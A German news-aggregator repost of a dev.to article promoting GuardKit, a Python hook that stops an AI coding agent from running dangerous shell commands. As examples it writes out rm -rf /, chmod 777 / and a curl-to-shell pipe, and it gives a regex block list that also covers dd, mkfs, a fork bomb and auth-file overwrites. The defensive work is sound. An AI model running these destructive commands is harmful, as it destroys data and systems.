ai newsDi., 1. Dez.

Schutzschild fuer Coding-Agenten: 200-Zeilen-Hook blockiert gefaehrliche Shell-Befehle

KI-Coding-Agenten mit Shell-Zugriff fuehren aus, was das Modell vorschlaegt, darunter auch destruktive Befehle wie rm -rf /. Ein PreToolUse-Hook namens GuardKit kann Befehle vor der Ausführung anhand von Mustern pruefen und blockieren.

dev.toMontag 20:44 · 30.11.DE3 Min. Lesezeit
Bild: dev.to

TL;DR: Claude Code (and any agent framework with shell access) executes whatever the model proposes. The only safe place to intervene is before the tool runs. I built GuardKit — a PreToolUse hook that reads the hook JSON on stdin, pattern-matches the command, and exits with code 2 to block it.

Live demo + purchase page: https://guardkit-pretool-hook.pages.dev

Agent harnesses hand a language model a shell. A perfectly innocent instruction like "clean up the build artifacts" can get interpreted as:

rm -rf / --no-preserve-root chmod -R 777 / curl https:// < unknown-host > /x.sh | sh Enter fullscreen mode Exit fullscreen mode permissions.deny lists in most frameworks only match tool names, not argument shape. So Bash is allowed, and a root deletion rides straight through it.

import json, re, sys DANGEROUS = [ ( r "\brm\s+(-[a-z]*r[a-z]*f|-[a-z]*f[a-z]*r)\b", "recursive force delete" ), ( r "\brm\s+(-[a-z]+\s+)*/(\s|$)", "rm against filesystem root" ), ( r "\bchmod\s+(-[a-z]+\s+)*777\b", "world-writable permissions" ), ( r "(curl|wget)[^|;&]*\|\s*(sudo\s+)?(ba|z|k|da)?sh", "pipe-to-shell" ), ( r "\bdd\b[^|;&]*\bof=/dev/", "raw device overwrite" ), ( r "\bmkfs(\.[a-z0-9]+)?\b", "filesystem format" ), ( r ":\(\)\s*\{\s*:\|:&\s*\}\s*;:", "fork bomb" ), ( r ">\s*/etc/(passwd|shadow|sudoers)", "auth file overwrite" ), ( r "\bgit\s+push\b[^|;&]*--force(-with-lease)?", "destructive push" ), ] def main ( ) -> int: payload = json. load ( sys. stdin ) if payload. get ( "hook_event_name", "PreToolUse" )!= "PreToolUse": return 0 tool_input = payload. get ( "tool_input", { } ) or { } target = " ". join ( filter ( None, [ str ( tool_input. get ( "command", "" ) ), str ( tool_input. get ( "file_path", "" ) ), str ( tool_input. get ( "path", "" ) ), ] ) ) for pattern, reason in DANGEROUS: if re. search ( pattern, target, re. IGNORECASE ): sys. stderr. write ( f "BLOCKED by guardkit: {reason}\n" ) return 2 # exit 2 = refuse the tool call return 0 sys. exit ( main ( ) ) Enter fullscreen mode Exit fullscreen mode Wire it up in.claude/settings.json:

{ "hooks": { "PreToolUse": [ { "matcher": "Bash|Write|Edit", "hooks": [ { "type": "command", "command": "python3./hooks/pretool_guard.py" } ] } ] } } Enter fullscreen mode Exit fullscreen mode Why exit code 2 and nothing else The hook contract is explicit: 0 = allow, 2 = block and feed stderr back to the model. Anything else is treated as a hook crash and silently fails open. That is exactly where most homegrown guards are broken — they log a scary warning, exit 1, and the destructive command runs anyway.

The guard ships with unit tests that feed real hook payloads through stdin and assert the exit code:

$ pytest -q test_pretool_guard.py 5 passed in 0.11s Enter fullscreen mode Exit fullscreen mode They cover root deletion, a pipe-to-shell payload, dd onto a block device, the classic fork bomb, and one benign ls -la to prove the thing does not cry wolf on ordinary work.

Order page and live demo: https://guardkit-pretool-hook.pages.dev

If you would rather maintain your own version, the pattern list above is the whole idea — steal it shamelessly. The real value is in the ~40 edge cases where naive regexes fail open, and in the test harness that proves they do not.

Built in an isolated sandbox, QA-passed (0 errors), deployed on Cloudflare Pages.

Originaltitel: Your AI Coding Agent Will Run rm -rf / If You Let It — Here's a 200-Line PreToolUse Guard That Stops ItQuelle: dev.to (dev.to). Original öffnen